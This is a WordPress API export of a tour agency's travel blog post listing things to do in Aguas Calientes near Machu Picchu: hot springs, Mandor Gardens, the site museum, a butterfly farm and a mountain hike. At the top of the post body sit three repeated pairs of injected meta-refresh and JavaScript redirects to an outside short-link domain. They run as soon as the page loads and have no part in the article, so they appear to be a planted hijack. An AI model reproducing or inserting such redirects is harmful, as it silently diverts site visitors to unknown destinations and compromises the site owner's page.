{"id":6236,"date":"2025-06-27T11:42:17","date_gmt":"2025-06-27T16:42:17","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=6236"},"modified":"2025-06-27T11:42:21","modified_gmt":"2025-06-27T16:42:21","slug":"what-is-there-to-do-in-aguas-calientes-peru","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/what-is-there-to-do-in-aguas-calientes-peru\/","title":{"rendered":"What to Do in Aguas Calientes, Peru: A Comprehensive Guide"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/aguas-calientes\" title=\"\">Aguas Calientes<\/a><\/strong> is a charming town nestled in the heart of the Peruvian high jungle, surrounded by majestic mountains and crossed by two rivers, all while being the gateway to the iconic Machu Picchu. <\/p>\n\n\n\n<p>This region offers a unique opportunity for complete immersion in its stunning natural environment. However, many travelers often overlook this beautiful town, and not all travel agencies showcase its true authenticity.<\/p>\n\n\n\n<p>That\u2019s why we want to provide you with more options to plan your trip according to your interests. While <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/machu-picchu\" title=\"\"><strong>Machu Picchu<\/strong> <\/a>is undoubtedly the main attraction, we highly recommend spending at least one night in Aguas Calientes. <\/p>\n\n\n\n<p>This allows you to fully experience the Inca citadel and its enchanting surroundings the following day. Make the most of your stay, and you&#8217;ll discover some truly special gems along the way. Let\u2019s dive in!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Take a break in the Aguas Calientes Hot Springs<\/h2>\n\n\n\n<p>What better way to end a day of excursions than taking a relaxing bath in Aguas Calientes\u2019<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-hot-springs-and-thermal-waters\/\" title=\"\"><strong> thermal baths?<\/strong> <\/a><\/p>\n\n\n\n<p>They consist of a group of thermo-medicinal pools located 800 meters away from Machu Picchu Town\u2019s main square.\u00a0The temperatures of these mineral-rich ponds range between 38\u00b0C and 46\u00b0C.<\/p>\n\n\n\n<p>These <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-hot-springs-and-thermal-waters\/\" title=\"\">thermal waters<\/a><\/strong> are recognized for their healing properties that help relieve stress and toxins, improve metabolism, and prevent arterial hypertension. The water emerges from underground water channels connected to these pools.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-16605\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/aguas-calientes-machu-picchu-hot-springs_-peru6-1600x1200-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>It was a mild yellow color, which may give the impression of being dirty, though that\u2019s because of the chemical composition of the water, sulfur being the reason behind this coloration. <\/p>\n\n\n\n<p>Although the pools are not deep or large enough for a swim, they certainly help you unwind your mind and connect even deeper with nature itself.<\/p>\n\n\n\n<p>If you\u2019re wondering about the facilities on the site, the complex offers a basic infrastructure with dressing rooms, showers, restrooms, and a coffee bar. This place remains a paid tourist attraction and is open Monday to Sunday, from 05:00 a.m. to 20:00 p.m.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"> Experience Nature at Mandor Gardens<\/h2>\n\n\n\n<p>For those looking to immerse themselves in this region&#8217;s exuberant nature, we highly recommend you pay a visit to this Ecological Reserve. <\/p>\n\n\n\n<p>Located 3,5 km away from Aguas Calientes, &#8220;Los Jardines de Mandor&#8221; lies at the foothills of the <a aria-label=\"Huayna Picchu Mountain (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/machu-picchu\/optional-hikes\/huayna-picchu\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Huayna Picchu Mountain<\/strong><\/a>.\u00a0<\/p>\n\n\n\n<p>A family has owned these gardens since the 1960s, but they didn\u2019t decide to open their doors to the public until the end of the 90s. They look for the preservation of the ecosystem and its surroundings.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"480\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/mandor-1.jpg?resize=640%2C480&#038;ssl=1\" alt=\"\" class=\"wp-image-10144\" style=\"aspect-ratio:1.7777777777777777;object-fit:cover;width:744px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/mandor-1.jpg?w=640&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/mandor-1.jpg?resize=300%2C225&amp;ssl=1 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure><\/div>\n\n\n<p>Aguas Calientes sits in one of the most privileged locations of Peru, right at the limit of the jungle and the Andes, also known as \u2018Mountain Brow\u2019.<\/p>\n\n\n\n<p>Many visitors recognize the flourishing nature of the region as a real-life fairytale, an authentic scenery that you can\u2019t miss during your visit.<\/p>\n\n\n\n<p>If you didn\u2019t know, in 2012, the Best Green Destiny of the World committee chose the Machu Picchu region for its jaw-dropping landscapes that support an enormous diversity of wildlife. <\/p>\n\n\n\n<p>There are around 2,354 documented plant species, including 400 types of orchids. The Mandor Gardens are located about 3 kilometers away from Aguas Calientes town.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Visit the Machu Picchu Museum<\/h2>\n\n\n\n<p>Also known as <strong>&#8220;<a aria-label=\"Museo de Sitio Manuel Chavez Ballon (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/aguas-calientes\/attractions\/machu-picchu-museum\" target=\"_blank\" rel=\"noreferrer noopener\">Museo de Sitio Manuel Chavez Ballon&#8221;<\/a><\/strong>, it is located one kilometer away from Machu Picchu. It was built in the 1960s to exhibit all the cultural details of the Inca Citadel.<\/p>\n\n\n\n<p>The museum has a collection of archaeological pieces that archaeologists found on the archaeological site. Researchers sent some of these pieces to Yale University for study and then later returned them to Peru.<\/p>\n\n\n\n<p>The Machu Picchu Museum holds seven exhibition rooms, allowing the visitor to go on a time-travel journey through each gallery:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"687\" height=\"250\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3-1.jpg?resize=687%2C250&#038;ssl=1\" alt=\"\" class=\"wp-image-6241\" style=\"width:745px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3-1.jpg?w=687&amp;ssl=1 687w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3-1.jpg?resize=300%2C109&amp;ssl=1 300w\" sizes=\"auto, (max-width: 687px) 100vw, 687px\" \/><\/figure><\/div>\n\n\n<p>Machu Picchu &#8211; The City Among Mist<\/p>\n\n\n\n<p>In the Time Machine<\/p>\n\n\n\n<p>Spreading History. A Day in the Life of Machu Picchu.<\/p>\n\n\n\n<p>Intertwining the Amazon and the Andes.<\/p>\n\n\n\n<p>Between Findings and Evidence.<\/p>\n\n\n\n<p>Ways to Feel Machu Picchu.<\/p>\n\n\n\n<p>Ecology, flora, and fauna of the Historic Sanctuary of Machu Picchu.<\/p>\n\n\n\n<p>Also, to complement the overall experience, the Museum offers a Botanical Garden where they look to preserve the local flora and fauna. <\/p>\n\n\n\n<p>The garden holds hundreds of plant species, including some of the many orchids of the region, an authentic natural scenery that you surely can\u2019t miss.<\/p>\n\n\n\n<p>The museum is located in the Aguas Calientes region, a 30-minute walk from the town, near Puente Ruinas. You can easily get to this location on foot, going in the direction of Hidroel\u00e9ctrica.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Check out Machu Picchu&#8217;s Butterfly Farm<\/h2>\n\n\n\n<p>Undoubtedly, the extensive biodiversity that surrounds Machu Picchu is like no other since it holds different types of plants, animals, and over 500 butterfly species. <\/p>\n\n\n\n<p>There is a place located only 15 minutes away from Aguas Calientes, called Wasi Pillpi, which means Butterfly Farm in <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\" title=\"\">Quechua<\/a><\/strong>.\u00a0<\/p>\n\n\n\n<p>If you wish to learn more about the natural diversity of this region, this unique place holds over 400 butterfly species, where the volunteers take you on a guided tour through the location, showing you the importance of these beautiful insects within the ecosystem.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/mariposario-desktop.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-16606\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/mariposario-desktop.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/mariposario-desktop.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/mariposario-desktop.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/mariposario-desktop.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/mariposario-desktop.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/mariposario-desktop.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p> Leonardo Serrano Gutierrez and a group of volunteers run this butterfly farm. They look for the preservation and protection of the different butterfly species of the region. <\/p>\n\n\n\n<p>According to some studies, researchers identified about 100 species that are endemic to Machu Picchu, while other researchers have documented these species elsewhere in the world and in Peru.<\/p>\n\n\n\n<p>This place will give you a glimpse at the life cycle of these lepidopterans, starting from the eggs until they are old enough to be finally released into their habitats.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Hike the Putucusi Mountain<\/h2>\n\n\n\n<p>The towering Putucusi Mountain is located a few minutes away from Aguas Calientes. It sits at an altitude of 2,560 meters above sea level, offering an outstanding view of Machu Picchu and its surroundings.\u00a0<\/p>\n\n\n\n<p>Although Putucusi is the smallest mountain that surrounds the Inca citadel, it offers great views of the archeological site, a natural viewpoint in Machu Picchu Town.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-10147\" style=\"aspect-ratio:16\/9;object-fit:cover\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b-scaled.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b-scaled.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b-scaled.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b-scaled.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b-scaled.jpg?resize=2048%2C1536&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b-scaled.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/3e7ed028ae5ba0f250b1d1bbef6a8b1b-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Currently, the mountain remains closed until further notice. The trail to its summit is very challenging, especially since you will have to climb a wooden ladder to reach the top. <\/p>\n\n\n\n<p>It is worth mentioning that there\u2019s no entrance fee to climb this mountain. Also, we do not recommend taking this trail during the rainy season or without a guide.\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>As you can see, Aguas Calientes might be small and practically intended for the visit to Machu Picchu, but it still holds some exciting activities where nature is the predominant feature in all of them.\u00a0 <\/p>\n\n\n\n<p>We want you to make the most of your experience in Peru, so Viagens Machu Picchu has prepared<strong> <a aria-label=\"the perfect travel itineraries (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/packages\" target=\"_blank\" rel=\"noreferrer noopener\">the perfect travel itineraries<\/a><\/strong><em> <\/em>so you can find inspiration for your next vacation. Contact us to start living your dreams in our country!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Explore Aguas Calientes, nestled near Machu Picchu, with its hot springs, Mandor Gardens, butterfly farm, and more. Extend your stay for a rich experience in nature and culture. Viagens Machu Picchu offers tailored itineraries to help you make the most of your visit!<\/p>\n","protected":false},"author":1,"featured_media":6238,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[327,194],"tags":[718,2989,2490,2984,2986,2875,2990,1660,212,2991,2491,2983,2987,2988,2883,2985,214,2884],"class_list":["post-6236","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-aguas-calientes","category-destinations","tag-aguas-calientes-2","tag-butterflies","tag-butterfly-farm","tag-culture","tag-experience","tag-explore","tag-gardens","tag-hot-springs","tag-machu-picchu","tag-machu-picchu-visit","tag-mandor-gardens","tag-nature","tag-rich-experience","tag-springs","tag-stay","tag-tailored-itineraries","tag-viagens-machu-picchu","tag-visit"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/01\/Dise%C3%B1o-sin-t%C3%ADtulo-29.jpg?fit=1300%2C550&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-1CA","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6236","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=6236"}],"version-history":[{"count":4,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6236\/revisions"}],"predecessor-version":[{"id":16608,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/6236\/revisions\/16608"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/6238"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=6236"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=6236"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=6236"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}